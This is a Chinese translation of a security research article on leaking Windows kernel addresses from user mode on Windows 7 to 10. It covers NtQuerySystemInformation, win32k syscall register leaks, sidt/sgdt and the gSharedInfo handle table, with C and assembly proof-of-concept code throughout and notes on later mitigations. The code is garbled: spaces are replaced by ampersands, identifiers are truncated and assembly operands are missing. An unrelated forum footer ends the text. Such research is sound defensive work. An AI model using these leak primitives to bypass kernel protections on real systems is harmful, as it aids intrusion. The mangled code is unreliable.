&&&&status&=&query(SystemSessionProcessInformation,&pProcessInfo,&len,&&len);
}&while&(status&==&(NTSTATUS)0xc0000004);
一旦函数成功调用,我们就可以为系统上运行的每个线程打印出相应的StackBase和StackLimit值了。为此,我们需要遍历所有的ProcessInfo结构,然后遍历其中的每个线程,并打印我们感兴趣的值。
while&(pProcessInfo-&NextEntryOffset&!=&NULL)&{
&&&&for&(unsigned&int&i&=&0;&i&&&pProcessInfo-&NumberOfT&i++)&{
&&&&&&&&PVOID&stackBase&=&pProcessInfo-&Threads[i].StackB
&&&&&&&&PVOID&stackLimit&=&pProcessInfo-&Threads[i].StackL
&&&&&&&&printf("Stack&base&0x%X\t",&stackBase);
&&&&&&&&printf("Stack&limit&0x%X\r\n",&stackLimit);
&&&&pProcessInfo&=&(PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo&+&pProcessInfo-&NextEntryOffset);
下面是它在32位Windows 7上面的运行结果:
这个示例的完整代码(包括用于64位系统的相应版本)可以在Github上找到。
Windows 8 64 bit
所有这些代码,要想用于64位Windows 8上,都需要稍作修改。当然,具体需要做出怎样的修改,则需要借助于调试代码本身来完成。
SystemModuleInformation
只有两处需要稍作修改,首先位于system_module结构之后的ImageBaseAddress指针是32位的,所以需要加入一个填充变量,至于填充的额外32位所包含的内容则是无所谓的。
typedef&struct&SYSTEM_MODULE&{
&&&&ULONG&&&&&&&&&&&Reserved1;
&&&&ULONG&&&&&&&&&&&Reserved2;
&&&&ULONG&&&&&&&Reserved3;
&&&&PVOID&&&&&&&&&&&ImageBaseA
此外,一旦NtQuerySystemInformation被调用,用于打印基地址的printf语句需要进行相应的更新,以便打印64位指针。
&printf("Base&Addr&0x%llx\r\n",&kernelImageBase);
编译之后,就可以成功运行在64位Windows 8上面了:
此外,编译后的代码也可以从Github上下载。
SystemHandleInformation
对于SystemHandleInformation来说,只需要改动print语句,其他一切正常。
&&&&printf("Object&0x%llx\t",&object);
&&&&printf("Object&0x%X\t",&object);
在64位Windows 8上的运行结果:
最终的代码也可以从Github上下载。
SystemLockInformation
为了让SystemLockInformation可用于64位Windows,必须添加另一个填充变量,当我测试时,这个变量里面好像没有任何东西,不过,也可能还有其他用途,只是我没有注意到罢了。字段大小不会相加,因为还要考虑对齐问题。
&&&ULONG&&&Reserved2[2];
&&&&ULONG&&&Reserved3;
此外,还必须修修改打印锁地址的printf语句,使其支持64位地址。&
&&&&printf("Lock&Address&0x%llx\t",&lockAddress);
&&&&printf("Lock&Address&0x%X\t",&lockAddress);
&之后,它就可以在64位Windows 8上面正常使用了:
最终的代码也可以从Github上下载。
SystemExtendedProcessInformation
SystemExtendedProcessInformation所需的改动也很少,只要在SYSTEM_THREAD_INFORMATION结构中填充128位即可——它肯定是有用处的,但具体我还不太清楚。
&&&&ULONG&Reserved[4];
}SYSTEM_THREAD_INFORMATION,&*PSYSTEM_THREAD_INFORMATION;
另外,处理地址的printf语句需要像前面介绍的那样进行相应的更新。
&&&&printf("Stack&base&0x%llx\t",&stackBase);
&&&&printf("Stack&limit&0x%llx\r\n",&stackLimit);
&&&&printf("Stack&base&0x%X\t",&stackBase);
&&&&printf("Stack&limit&0x%X\r\n",&stackLimit);
完成上述修改之后,代码就可以在64位Windows 8上面正常运行了:
最终的代码也可以从Github上下载。
Windows 8.1 64 bit onward
至于在Windows 8.1上修改这些代码方面,我还是多少有点优势的:毕竟我早就阅读过Alex Ionescu的一篇文章,因此我知道可通过一种稍微不同的方式来运行二进制代码。 在Windows Vista中引入了完整性级别的概念,这将导致所有进程在下面所示的六个完整性级别之一上面运行。
完整性级别较高的进程可以访问更多的系统资源,例如沙盒进程通常是在较低的完整性级别上面运行,并且对系统其余部分的访问权限是最小的。 更多的细节可以在上面链接的MSDN页面上找到。
我创建了一个完整性水平较低的cmd.exe副本,具体方法请参见这里。当我试图在这个命令提示符下面运行NtQuerySystemInformation的二进制代码时,就会得到错误代码0xC0000022:
STATUS_ACCESS_DENIED的这个NTSTATUS代码定义如下:
进程已请求访问对象,但尚未授予这些访问权限。
但是,如果在中等完整性级别的命令提示符下运行该二进制代码话,则一切正常:
这意味着必须向函数添加完整性级别检查。
您可以使用SysInternals中的procexp查看完整性级别进程(见最后一列):
这时我开始研究,为了添加了该项检查,NtQuerySystemInformation在Windows 8和8.1之间发生了哪些变化。利用IDA考察NtQuerySystemInformation函数后,我发现它依赖于调用“ExpQueryInformationProcess”函数。
通过Diaphora检查这两个版本的ntoskrnl.exe的差异,我发现这个函数在两个操作系统版本之间发生了重大变化。
通过比较两个实现汇编代码的不同之处,很容易就可以看出,这里添加了一个对“ExIsRestrictedCaller”的调用,通过交叉引用可以获悉,它主要是从ExpQuerySystemInformation中调用的,并且在相关函数中也被调用了几次。
我还看了一下函数本身,我注释的汇编代码见下文。
根据我的理解,该函数的工作机制为:
1、检查在ecx中传递给它的未知值是否为0,如果是的话就返回0
2、使用PsReferencePrimaryToken增加调用进程令牌的引用计数
3、使用SeQueryInformationToken将调用进程令牌的TokenIntegrityLevel读入一个局部变量
4、使用ObDereferenceObject减少调用进程令牌的引用计数
5、检查SeQueryInformationToken是否返回错误代码,如果是就返回1
6、如果SeQueryInformationToken成功,将读取令牌完整性级别,并与0x2000(这个值表示中等完整性级别)进行比较
7、如果令牌完整性级别低于0x2000则返回1,否则返回0
Alex Ionescu在他的博客上提供了这个函数的逆向版本。 每次该函数被调用时,它就返回1,然后调用函数将返回前面提到的错误代码。
Win32k.sys系统调用信息泄露 &Windows 7 32 bit
这个问题最初是由j00ru在发布白皮书几个月前发现的,并在原始博客文章中有更深入的讨论。
问题是,win32k.sys中的一些系统调用的返回值是小于32位的,例如VOID或USHORT,所以,在返回之前没有清除eax寄存器。 由于各种原因,在调用返回之前,内核地址在eax中结束,因此在调用之后立即读取eax,这些地址就会被完全暴露或部分暴露。
例如NtUserModifyUserStartupInfoFlags就完全暴露了ETHREAD结构的地址,下面你可以看到,在该函数返回之前调用了UserSessionSwitchLeaveCrit,这似乎向eax中加载了一个指向ETHREAD的指针,但是,由于函数返回之前没有清空寄存器的内容,导致这个地址完整保留了下来。
要想使用这些系统调用来泄漏地址,我们首先需要添加标准include和Winddi,因为它们定义了将要调用的函数使用的一些GDI(图形设备接口)的结构。
我决定,通过使用其用户空间包装器(在这种情况下是user32.dll和gdi32.dll)来调用这些系统调用,因此我需要获取DLL中的函数的偏移量。为此,我把该dll拖拽到IDA中,将反汇编重定位到0,然后过滤函数列表以寻找目标函数。这样,找到的函数的起始地址是我需要的dll的偏移量。
我选择了一个完全泄漏ETHREAD的函数,以及一个部分泄漏它的函数。类似的方法同样适用于W32THREAD。
//0x64D4B&-&NtUserModifyUserStartupInfoFlags
typedef&DWORD(NTAPI&*&lNtUserModifyUserStartupInfoFlags)(DWORD&Set,&DWORD&Flags);
//0xA2F4&-&NtUserGetAsyncKeyState
typedef&DWORD(NTAPI&*lNtUserGetAsyncKeyState)(DWORD&key);
//0x47123&-&NtGdiFONTOBJ_vGetInfo
typedef&VOID(NTAPI&*&lNtGdiFONTOBJ_vGetInfo)(FONTOBJ&*pfo,ULONG&cjSize,FONTINFO&*pfi);
//0x47263&-&NtGdiPATHOBJ_vEnumStartClipLines
typedef&VOID(NTAPI&*&lNtGdiPATHOBJ_vEnumStartClipLines)(PATHOBJ&*ppo,&CLIPOBJ&*pco,&SURFOBJ&*pso,&LINEATTRS&*pla);
为了调用这些函数,我们首先需要一个处理它们所在的DLL的句柄,所以,我们首先设法得到user32.dll的句柄。
HMODULE&hUser32&=&LoadLibraryA("user32.dll");
if&(hUser32&==&NULL)&{
&&&&printf("Failed&to&load&user32");
&&&&return&1;
如果上述代码成功运行,我们就可以把第一个函数的偏移量与HMODULE的值相加,从而获得函数入口点,然后就可以将其转换为正确的类型了。
lNtUserGetAsyncKeyState&pNtUserGetAsyncKeyState&=&(lNtUserGetAsyncKeyState)((DWORD_PTR)hUser32&+&0xA2F4);
然后,我们调用该函数并使用内联汇编来获取在eax中留下的值,并打印出来。
pNtUserGetAsyncKeyState(20);
unsigned&int&ethread&=&0;
&&&&mov&ethread,&
printf("NtUserGetAsyncKeyState&ETHREAD&partial&disclosure:&0x%X\r\n",&ethread);
然后,我们对NtUserModifyUserStartupInfoFlags进行同样的处理。
lNtUserModifyUserStartupInfoFlags&pNtUserModifyUserStartupInfoFlags&=&(lNtUserModifyUserStartupInfoFlags)((DWORD_PTR)hUser32&+&0x64D4B);
pNtUserModifyUserStartupInfoFlags(20,&12);
unsigned&ethread_full&=&0;
&&&&mov&ethread_full,&
printf("NtUserModifyUserStartupInfoFlags&ETHREAD&full&disclosure:&0x%X\r\n",&ethread_full);
接下来,我们需要调用暴露W32THREAD指针的函数,它们都是在gdi32.dll中定义的,所以我们需要得到该DLL的句柄,然后就可以像前面那样来调用这些函数了。
HMODULE&hGDI32&=&LoadLibraryA("gdi32.dll");
if&(hGDI32&==&NULL)&{
&&&&printf("Failed&to&load&gdi32");
&&&&return&1;
lNtGdiFONTOBJ_vGetInfo&pNtGdiFONTOBJ_vGetInfo&=&(lNtGdiFONTOBJ_vGetInfo)((DWORD_PTR)hGDI32&+&NtGdiFONTOBJ_vGetInfoAddress);
FONTOBJ&surf&=&{&0&};
FONTINFO&finfo&=&{&0&};
pNtGdiFONTOBJ_vGetInfo(&surf,&123,&&finfo);
long&int&w32thread&=&0;
&&&&mov&w32thread,&
printf("NtGdiEngUnLockSurface&W32THREAD&full&disclosure:&0x%X\r\n",&w32thread);
lNtGdiPATHOBJ_vEnumStartClipLines&pNtGdiPATHOBJ_vEnumStartClipLines&=&(lNtGdiPATHOBJ_vEnumStartClipLines)((DWORD_PTR)hGDI32&+&0x47263);
PATHOBJ&pathobj&=&{&0&};
CLIPOBJ&pco&=&{&0&};
SURFOBJ&pso&=&{&0&};
LINEATTRS&pla&=&{&0&};
pNtGdiPATHOBJ_vEnumStartClipLines(&pathobj,&&pco,&&pso,&&pla);
w32thread&=&0;
&&&&mov&w32thread,&
printf("NtGdiPATHOBJ_vEnumStartClipLines&W32THREAD&full&disclosure:&0x%X\r\n",&w32thread);
编译并运行代码,我们就可以看到被暴露的地址了。
Windows 8 64 bit onward
要使代码在Windows 8上运行,必须首先更新函数偏移量来匹配新的主机VM的二进制代码。 请注意,这里缺少NtGdiFONTOBJ_vGetInfo函数的地址,因为该函数在Windows 8 VM的gdi32版本中没有相应的定义。
//win8,&64bit
第二个问题是,Visual Studio不支持针对amd64代码的内联汇编,所以我添加了一个名为“asm_funcs.asm”的简短文件,具体内容如下所示:
_DATA&SEGMENT
_DATA&ENDS
_TEXT&SEGMENT
PUBLIC&get_rax
get_rax&PROC
get_rax&ENDP
_TEXT&ENDS
所有这些实际上就是定义了一个名为“get_rax”的函数,虽然它什么都不做,但却会返回,并且根据调用约定,返回值将保存在rax中。
此外,我们还必须对Visual Studio项目的配置稍作修改,以使其编译所包含的汇编代码,为此,可以在solution explorer中右键单击项目,转到“Build Dependencies” - &“Build Customizations..”,然后在对话窗口中勾选'masm'选项。 Elias Bachaalany提供了更为详细的介绍,请访问这里。
然后,通过将这个函数声明为一个外部函数,将该函数导入到主文件中。
&extern&"C"&unsigned&long&long&get_rax();
最后,将相应的变量的长度改为64位,同时所有的printf语句也要进行相应的修改。
最终的代码可以从Github上下载。
忙活半天,终于可以在64位系统上运行我们的代码了,并且这个问题在Windows 8中也得到了修复!&
Matt Miller在Black Hat USA 2012上的演讲的内核部分中讨论Windows 8漏洞利用缓解改进情况的时候,曾经引用了这个修复:
解决这些问题的方法非常简单,观察一下的从Windows 7和Windows 8中的win32.sys(如下图所示),我们可以看到,现在这些函数的实现方式中,调用敏感函数后所有的RAX被设置为一个新值。例如,在我考察过的两个泄露ETHREAD的函数中,UserSessionSwitchLeaveCrit导致返回前将泄露的地址放入RAX/ EAX中,这个问题已得到修复。
NtUserGetAsyncKeyState:Windows 8的实现在左边,Windows 7的实现在右边。 以前,这会导致泄漏ETHREAD的部分地址,因为在函数返回之前,只有eax的前16位被修改,现在使用movsx后,它将对较高的位进行清零。
NtUserModifyUserStartupInfoFlags:Windows 8的实现在左边,Windows 7的实现在右边。 以前,这会泄漏完整的ETHREAD地址,因为eax在返回之前根本没有被修改,现在eax被显式地设置为1。
描述符表 &Windows 7 32 bit
x86描述符表有各种用途,在j00ru的论文中考察的是中断描述符表(IDT),处理器用它查找处理中断和异常的代码,而全局描述符表(GDT) 由处理器使用以定义内存段。
关于描述符表的更多细节请参考j00ru的论文,它们主要在内存隔离和特权隔离中扮演关键角色。全局描述符表寄存器(GDTR)定义了GDT的起始地址及其大小,它可以通过sgdt x86指令读取:
SGDT仅对操作系统软件有用; 但是,它可以在应用程序中使用,并且不会生成异常。
这意味着在Ring 3中运行的代码可以读取GDTR的值且不会引起异常,但无法对它进行写入操作。 GDTR的格式如下:
中断描述符表寄存器(IDTR)定义了IDT的起始地址及其大小,它可以使用sidt x86指令读取,并且与sgdt类似,也可以从ring 3调用,这一点真是带来了极大的便利性。IDTR的格式如下所示:
此外,Windows允许使用GetThreadSelectorEntry函数读取GDT中的特定表项。 在j00ru的论文中,他使用它来读取几个潜在的敏感表项,但是我将通过它来读取任务状态段(TSS)描述符。
我们可以使用内联汇编以6字节缓冲区作为参数来执行sidt指令。
unsigned&char&idtr[6]&=&{&0&};
读取idtr后,我们只需要从内存中提取相应的值,就可以打印它们了。
unsigned&int&idtrBase&=&(unsigned&int)idtr[5]&&&&24&|
&&&&&&&&(unsigned&int)idtr[4]&&&&16&|
&&&&&&&&(unsigned&int)idtr[3]&&&&8&|
&&&&&&&&(unsigned&int)idtr[2];
unsigned&short&idtrLimit&=&(unsigned&int)idtr[1]&&&&8&|
&&&&&&&&(unsigned&int)idtr[0];
printf("Interrupt&Descriptor&Table&Register&base:&0x%X,&limit:&0x%X\r\n",&idtrBase,&idtrLimit);
同样,我们可以很容易地使用内联汇编来调用sgdt指令,然后提取基地址和极限值。
unsigned&char&gdtr[6]&=&{&0&};
unsigned&int&gdtrBase&=&(unsigned&int)gdtr[5]&&&&24&|
&&&&&&&&(unsigned&int)gdtr[4]&&&&16&|
&&&&&&&&(unsigned&int)gdtr[3]&&&&8&|
&&&&&&&&(unsigned&int)gdtr[2];
unsigned&short&gdtrLimit&=&(unsigned&int)gdtr[1]&&&&8&|
&&&&&&&&(unsigned&int)gdtr[0];
printf("Global&Descriptor&Table&Register&base:&0x%X,&limit:&0x%X\r\n",&gdtrBase,&gdtrLimit);
接下来,我们要使用GetThreadSelectorEntry来读取TSS内容。
BOOL&WINAPI&GetThreadSelectorEntry(
&&_In_&&HANDLE&&&&&&hThread,
&&_In_&&DWORD&&&&&&&dwSelector,
&&_Out_&LPLDT_ENTRY&lpSelectorEntry
首先,我们使用Store Task Register / str指令为tss获取正确的段选择符。
__asm&str&tr
接下来,我们创建一个空的LDT_ENTRY表项结构,并使用当前线程作为线程参数调用GetThreadSelectorEntry函数。&
LDT_ENTRY&
GetThreadSelectorEntry(GetCurrentThread(),&tr,&&tss);
然后,我们就可以从下面已填充的LDT_ENTRY结构中读取TSS的基址和限制了。
unsigned&int&&tssBase&=&(tss.HighWord.Bits.BaseHi&&&&24)&+
&&&&(tss.HighWord.Bits.BaseMid&&&&16)&+
&&&&tss.BaseL
unsigned&int&tssLimit&=&tss.LimitL
printf("TSS&base:&0x%X,&limit:&0x%X\r\n",&tssBase,&tssLimit);
完成所有这些工作后,我们就可以编译并运行代码来查看地址了:
包括用于64位Windows的完整代码都可以从Github下载。
Windows 8 64 bit
我们的代码只要稍作修改,就可以在64位Windows上正常使用。最重要的是,Visual Studio无法在面向amd64的项目中使用内联汇编。对于sidt/sgdt来说,我们可以通过Visual Studio定义Compiler Intrinsic来解决这个问题。我们可以通过下列代码来读取GDTR。
unsigned&char&gdtr[10]&=&{&0&};
_sgdt(gdtr);
unsigned&long&long&gdtrBase&=&(unsigned&long&long)gdtr[9]&&&&56&|
&&&&(unsigned&long&long)gdtr[8]&&&&48&|
&&&&(unsigned&long&long)gdtr[7]&&&&40&|
&&&&(unsigned&long&long)gdtr[6]&&&&32&|
&&&&(unsigned&long&long)gdtr[5]&&&&24&|
&&&&(unsigned&long&long)gdtr[4]&&&&16&|
&&&&(unsigned&long&long)gdtr[3]&&&&8&|
&&&&(unsigned&long&long)gdtr[2];
unsigned&short&gdtrLimit&=&(unsigned&int)gdtr[1]&&&&8&|
&&&&(unsigned&int)gdtr[0];
printf("Global&Descriptor&Table&Register&base:&0x%llx,&limit:&0x%X\r\n",&gdtrBase,&gdtrLimit);
_sgdt的作用与使用内联汇编调用sgdt完全相同。 gdtr的大小也必须进行更新以反映64位系统上的指针。读取IDTR的代码也需要进行类似的修改。&
unsigned&char&idtr[10]&=&{&0&};
__sidt(idtr);
unsigned&long&long&idtrBase&=&(unsigned&long&long)idtr[9]&&&&56&|
&&&&(unsigned&long&long)idtr[8]&&&&48&|
&&&&(unsigned&long&long)idtr[7]&&&&40&|
&&&&(unsigned&long&long)idtr[6]&&&&32&|
&&&&(unsigned&long&long)idtr[5]&&&&24&|
&&&&(unsigned&long&long)idtr[4]&&&&16&|
&&&&(unsigned&long&long)idtr[3]&&&&8&|
&&&&(unsigned&long&long)idtr[2];
unsigned&short&idtrLimit&=&(unsigned&int)idtr[1]&&&&8&|
&&&&(unsigned&int)idtr[0];
printf("Interrupt&Descriptor&Table&Register&base:&0x%llx,&limit:&0x%X\r\n",&idtrBase,&idtrLimit);
&最后,需要包含头文件intrin.h,因为Compiler Intrinsics都是定义在这个文件中的。
GetThreadSelectorEntry似乎没有读取TSS的64位简单实现代码,因此将其弃用。
因为从Ring 3执行sidt/sgdt指令是amd64指令集的特性,而非操作系统特性,所以在Windows 8中仍然可以读取这些值:
Windows 8.1:
Windows 10:
与进程所在的完整性级别或用户具有的权限无关。
根据Dave Weston和Matt Miller的Black Hat关于Windows 10的漏洞利用缓解进展方面的演讲来看,如果在系统上启用Hyper-V,并执行sidt或sgdt指令的话,管理程序将捕获它们并拦截返回值。
但是,这一点我还没有亲自验证过。
Win32k.sys Object Handle Addresses &Windows 7 32 bit
Win32k是一个重要的驱动程序,提供将图形输出到Windows上的显示器、打印机等的相关功能。它维护会话(会话由表示单个用户的登录会话的所有进程和其他系统对象组成。)和存储所有GDI(图形设备接口)和用户句柄的句柄表。
为了降低访问此表的性能开销,通常将其映射到用户空间中的所有GUI进程。 用户空间中该表的地址可通过user32.dll导出为gSharedInfo。
这允许从用户模式寻找内核内存空间中所有GDI和用户对象的地址。 首先,我们需要定义这个表在内存中的结构,下面的结构取自ReactOS。
typedef&struct&_HANDLEENTRY&{
&&&&PVOID&&&
&&&&ULONG&&&pO
&&&&BYTE&&&&bT
&&&&BYTE&&&&bF
&&&&WORD&&&&wU
}HANDLEENTRY,&*PHANDLEENTRY;
typedef&struct&_SERVERINFO&{
&&&&DWORD&&&dwSRVIF
&&&&DWORD&&&cHandleE
&&&&WORD&&&&wSRVIF
&&&&WORD&&&&wRIPPID;
&&&&WORD&&&&wRIPE
}SERVERINFO,&*PSERVERINFO;
typedef&struct&_SHAREDINFO&{
&&&&PSERVERINFO&
&&&&PHANDLEENTRY&&&&aheL
&&&&ULONG&&&&&&&HeEntryS
&&&&ULONG_PTR&&&pDispI
&&&&ULONG_PTR&&&ulSharedD
&&&&ULONG_PTR&&&awmC
&&&&ULONG_PTR&&&DefWindowM
&&&&ULONG_PTR&&&DefWindowSpecM
}SHAREDINFO,&*PSHAREDINFO;
接下来,我们需要获取user32 DLL的句柄,并找到gSharedInfo变量的偏移量。&
HMODULE&hUser32&=&LoadLibraryA("user32.dll");
PSHAREDINFO&gSharedInfo&=&(PSHAREDINFO)GetProcAddress(hUser32,&"gSharedInfo");
一旦解析出了用户空间中的表位置,我们就可以遍历句柄表,打印每个对象的内核地址、它的所有者和对象类型。
for&(unsigned&int&i&=&0;&i&&&gSharedInfo-&psi-&cHandleE&i++)&{
&&&&HANDLEENTRY&entry&=&gSharedInfo-&aheList[i];
&&&&if&(entry.bType&!=&0)&{&//ignore&free&entries
&&&&&&&&printf("Head:&0x%X,&Owner:&0x%X,&Type:&0x%X\r\n",&entry.phead,&entry.pOwner,&entry.bType);
下面是它在32位Windows 7上的运行情况:
Windows 8/8.1 64 bits
为了将代码移植到64位系统,我们需要对代码稍作修改。 首先将SERVERINFO结构扩展为64位,方法是对dwSRVIFlags和cHandleEntries字段的大小进行相应的调整。
typedef&struct&_SERVERINFO&{
&&&&UINT64&dwSRVIF
&&&&UINT64&cHandleE
&&&&DWORD&dwSRVIF
&&&&DWORD&cHandleE
同样,记录地址的printf语句也需要进行相应的修改,以便可以处理64位指针。
&&&&printf("Head:&0x%llx,&Owner:&0x%llx,&Type:&0x%X\r\n",&entry.phead,&entry.pOwner,&entry.bType);
&&&&printf("Head:&0x%X,&Owner:&0x%X,&Type:&0x%X\r\n",&entry.phead,&entry.pOwner,&entry.bType);
完成这些修改之后,它就可以在Windows 8.1上正常运行了。
Windows 10?
根据Dave Weston和Matt Miller在黑帽大会上的演讲,已经无法通过GDI共享句柄表获得内核地址。
但是当这个二进制代码在64位Windows 10 周年版虚拟机中运行时,我找到了一些像内核指针的东西:
通过考察这些地址,发现它们与内核空间中的预期会话空间地址范围相吻合,也就是都位于正确的取值范围内——至少对于64位的Windows 7来说的确如此。
接下来,我加载了一个64位Windows 8机器,连接内核调试器并转储了句柄表,并将其与我在调试器中看到的值进行了相应的比较。下面的几个匹配值已经高亮显示,我们期望的值都能从用户模式代码中找到。
然后,我在64位的Windows 10上面进行了同样的试验。
我发现句柄表的结构和指向的值,在不同的操作系统版本之间非常一致。我现在没有更多的时间来深入研究这些,所以这里先打一个问号,留待以后继续探索。
本文由 安全客 翻译,作者:shan66}

我要回帖

更多关于 苹果电脑能玩暗黑3吗 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信